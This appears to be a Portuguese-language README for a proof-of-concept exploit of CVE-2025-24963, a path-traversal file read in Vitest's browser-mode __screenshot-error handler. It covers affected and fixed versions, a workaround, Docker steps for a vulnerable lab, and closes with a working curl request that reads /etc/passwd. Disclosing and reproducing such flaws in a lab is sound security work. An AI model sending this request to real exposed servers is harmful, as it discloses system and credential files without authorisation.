
Exploit de prova de conceito para CVE-2025-24963, uma vulnerabilidade de leitura de arquivo local no modo navegador do Vitest através do manipulador __screenshot-error, permitindo a divulgação arbitrária de arquivos em servidores expostos.
CVE-2025-24963 é uma vulnerabilidade de gravidade média (pontuação CVSS 3.1: 5.9) que afeta o pacote @vitest/browser, um componente do framework de testes Vitest alimentado por Vite. Esta vulnerabilidade surge da validação de entrada inadequada no manipulador __screenshot-error do servidor HTTP do modo navegador. Quando o servidor é exposto à rede usando a opção de configuração browser.api.host: true, um atacante pode enviar requisições especialmente criadas para acessar arquivos arbitrários no sistema de arquivos do servidor, potencialmente levando à divulgação não autorizada de informações sensíveis.
A vulnerabilidade afeta as seguintes versões de @vitest/browser:
Este problema foi corrigido nas versões 2.1.9 e 3.0.4. Os usuários são fortemente aconselhados a atualizar para estas ou versões posteriores para mitigar a vulnerabilidade.
Se a atualização imediata não for viável, uma solução alternativa temporária é evitar expor o servidor do modo navegador à rede, não definindo browser.api.host: true na sua configuração. Isso impedirá o acesso externo ao manipulador vulnerável.
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
Nota: A porta que o Vitest usa é dinâmica (ex.: 63315). Talvez você queira monitorar os logs e ajustar sua flag -p de acordo.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"